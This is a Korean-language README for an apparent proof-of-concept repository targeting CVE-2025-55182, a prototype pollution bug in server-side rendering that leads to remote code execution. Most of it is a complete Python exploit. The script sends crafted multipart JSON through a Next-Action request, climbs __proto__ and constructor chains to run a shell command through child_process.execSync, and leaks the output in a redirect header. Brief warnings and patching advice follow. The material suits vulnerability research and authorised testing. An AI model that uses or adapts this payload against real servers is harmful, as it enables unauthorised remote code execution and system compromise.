
CVE-2025-55182에 대한 개념 증명 익스플로잇으로, 서버 측 렌더링 구현에서 원격 코드 실행으로 이어지는 프로토타입 오염을 시연합니다. Python 익스플로잇 스크립트와 보안 권장 사항을 포함합니다.
이 저장소는 특정 서버 사이드 렌더링 구현에서 원격 코드 실행(RCE)으로 이어지는 프로토타입 오염(Prototype Pollution) 취약점인 CVE-2025-55182에 대한 개념 증명(PoC)을 포함합니다.
⚠️ 경고: 이 PoC는 교육, 연구 및 개인 또는 통제된 환경에서의 승인된 보안 테스트 목적으로만 엄격히 사용해야 합니다. 허가 없이 시스템에 무단으로 사용하는 것은 불법입니다.
이 취약점은 검증되지 않은 사용자 입력이 내부 JavaScript 객체 구조에 주입될 때 발생합니다(프로토타입 오염). 특정 실행 흐름과 결합되면 임의 코드 실행으로 이어질 수 있습니다.
이 PoC에서는 __proto__ 및 constructor와 같은 체이닝된 속성을 사용하여 오염을 실행 컨텍스트로 승격시킵니다.
다음은 취약점이 어떻게 악용될 수 있는지 보여주는 exploit.py입니다:
import requests
import json
url = "http://localhost:3000"
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
"Next-Action": "x",
}
prefix = "var res=process.mainModule.require('child_process').execSync('id').toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});"
files = {
"0": (
None,
json.dumps({
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then":"$B1337"}',
"_response": {
"_prefix": prefix,
"_formData": {"get": "$1:constructor:constructor"}
}
}),
"application/json",
),
"1": (None, "\"$@0\""),
}
response = requests.post(url, headers=headers, files=files)
print("Headers:", response.headers.get('x-action-redirect'))
python3 exploit.py
이 명령은 로컬 또는 개발 환경에서만 실행해야 합니다.
이 취약점이 실제 프로젝트에 영향을 미치는 경우, 유지 관리자가 릴리스한 최신 보안 패치를 확인하고 설치하십시오.
child_process 실행을 제한하거나 비활성화하십시오MIT 라이선스